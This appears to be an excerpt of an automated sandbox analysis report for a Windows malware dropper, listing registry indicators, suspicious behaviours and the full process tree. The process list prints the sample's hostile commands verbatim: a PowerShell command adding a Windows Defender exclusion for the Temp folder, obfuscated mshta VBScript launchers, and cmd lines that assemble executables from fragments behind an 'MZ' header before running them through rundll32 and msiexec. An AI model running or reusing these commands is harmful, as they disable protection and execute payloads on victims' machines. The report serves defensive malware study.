| PID 3464 set thread context of 2940 | N/A | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00df41776583.exe | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00df41776583.exe |
Browser Information Discovery
Enumerates physical storage devices
Program crash
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00b1dca232.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon003b11682c.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00ef1e53f6f539435.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon0052c87b01411369.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon001dcfc58b0850.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon001dcfc58b0850.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\09xU.exE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00806cfb48.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00e469051c4c7a.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\control.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00df41776583.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00536518ad16.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-VTBHI.tmp\Mon001dcfc58b0850.tmp | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00df41776583.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon0086072e872c.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-5FTAA.tmp\Mon001dcfc58b0850.tmp | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\setup_install.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00f8ffa77fe72688.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon003b11682c.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00ea631982.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\rundll32.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00ffeff6b2.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\msiexec.exe | N/A |
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00806cfb48.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00806cfb48.exe | N/A |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00806cfb48.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133768962799296728" | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00b1dca232.exe | N/A |
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS459AA187\setup_install.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon003b11682c.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00ef1e53f6f539435.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00e469051c4c7a.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00ffeff6b2.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00536518ad16.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00df41776583.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00d0d86f7f1e6.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00946c5090.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00f8ffa77fe72688.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00806cfb48.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00b1dca232.exe /mixone
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon00ea631982.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon001dcfc58b0850.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon0086072e872c.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Mon0052c87b01411369.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00ef1e53f6f539435.exe
Mon00ef1e53f6f539435.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00f8ffa77fe72688.exe
Mon00f8ffa77fe72688.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00b1dca232.exe
Mon00b1dca232.exe /mixone
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2372 -ip 2372
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon003b11682c.exe
Mon003b11682c.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00946c5090.exe
Mon00946c5090.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00ffeff6b2.exe
Mon00ffeff6b2.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon0086072e872c.exe
Mon0086072e872c.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon001dcfc58b0850.exe
Mon001dcfc58b0850.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00806cfb48.exe
Mon00806cfb48.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2372 -s 612
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00536518ad16.exe
Mon00536518ad16.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon0052c87b01411369.exe
Mon0052c87b01411369.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00ea631982.exe
Mon00ea631982.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00df41776583.exe
Mon00df41776583.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00e469051c4c7a.exe
Mon00e469051c4c7a.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00d0d86f7f1e6.exe
Mon00d0d86f7f1e6.exe
C:\Users\Admin\AppData\Local\Temp\is-5FTAA.tmp\Mon001dcfc58b0850.tmp
"C:\Users\Admin\AppData\Local\Temp\is-5FTAA.tmp\Mon001dcfc58b0850.tmp" /SL5="$9005E,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon001dcfc58b0850.exe"
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon003b11682c.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon003b11682c.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00df41776583.exe
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00df41776583.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4428 -ip 4428
C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon001dcfc58b0850.exe
"C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon001dcfc58b0850.exe" /SILENT
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00536518ad16.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00536518ad16.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbSCript:CLOse( CReatEoBJeCT ( "wscriPT.sheLL"). run ( "CMd.exe /C TYpE ""C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00e469051c4c7a.exe"" > ESYZ4xAO6IJ.eXE && sTart ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV & if """"== """" for %t iN (""C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00e469051c4c7a.exe"" ) do taskkill /f -im ""%~NXt"" ",0, True))
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 456
C:\Users\Admin\AppData\Local\Temp\is-VTBHI.tmp\Mon001dcfc58b0850.tmp
"C:\Users\Admin\AppData\Local\Temp\is-VTBHI.tmp\Mon001dcfc58b0850.tmp" /SL5="$50204,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon001dcfc58b0850.exe" /SILENT
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2808 -ip 2808
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00536518ad16.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00536518ad16.exe") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2808 -s 356
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C TYpE "C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00e469051c4c7a.exe" > ESYZ4xAO6IJ.eXE &&sTart ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV & if ""== "" for %t iN ("C:\Users\Admin\AppData\Local\Temp\7zS459AA187\Mon00e469051c4c7a.exe" ) do taskkill /f -im "%~NXt"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4428 -ip 4428
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 656
C:\Users\Admin\AppData\Local\Temp\09xU.exE
09xU.EXE -pPtzyIkqLZoCarb5ew
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2796 -ip 2796
C:\Windows\SysWOW64\taskkill.exe
taskkill /F -Im "Mon00536518ad16.exe"
C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2796 -s 1060
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4428 -ip 4428
C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE
ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 748
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbSCript:CLOse( CReatEoBJeCT ( "wscriPT.sheLL"). run ( "CMd.exe /C TYpE ""C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE"" > ESYZ4xAO6IJ.eXE && sTart ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV & if ""/PdBPpkdCKFRGSs8QEyyO_B7~gkV ""== """" for %t iN (""C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE"" ) do taskkill /f -im ""%~NXt"" ",0, True))
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4428 -ip 4428
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\taskkill.exe
taskkill /f -im "Mon00e469051c4c7a.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 776
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C TYpE "C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE" > ESYZ4xAO6IJ.eXE &&sTart ESYz4xAO6iJ.EXe /PdBPpkdCKFRGSs8QEyyO_B7~gkV & if "/PdBPpkdCKFRGSs8QEyyO_B7~gkV "== "" for %t iN ("C:\Users\Admin\AppData\Local\Temp\ESYZ4xAO6IJ.eXE" ) do taskkill /f -im "%~NXt"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 4428 -ip 4428
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4428 -s 672
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBscRipt: close ( CREateobJect("wSCrIPt.SHELL" ). rUN( "CMd /q /C Echo | set /P = ""MZ"" > www1PR~.BG &cOpy /y /B www1pr~.BG + xZ62y.ZZY + NOSJk.fU+ mY33o.U faJSZJuU.PB& staRT msiexec -Y .\fAJszjUU.PB &dEL XZ62y.zZy NOSJk.fU MY33O.U WWW1pr~.Bg " , 0 ,truE ) )
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /C Echo | set /P = "MZ" > www1PR~.BG &cOpy /y /B www1pr~.BG +xZ62y.ZZY+ NOSJk.fU+ mY33o.U faJSZJuU.PB& staRT msiexec -Y .\fAJszjUU.PB &dEL XZ62y.zZy NOSJk.fU MY33O.U WWW1pr~.Bg
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHO "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" Echo "
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>www1PR~.BG"
C:\Windows\SysWOW64\control.exe
control .\R6f7sE.I
C:\Windows\SysWOW64\msiexec.exe
msiexec -Y .\fAJszjUU.PB
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff82429cc40,0x7ff82429cc4c,0x7ff82429cc58
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1900,i,15526155844256383364,17088594853170476665,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1896 /prefetch:2
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2132,i,15526155844256383364,17088594853170476665,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2160 /prefetch:3
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2228,i,15526155844256383364,17088594853170476665,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2240 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3116,i,15526155844256383364,17088594853170476665,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3136 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
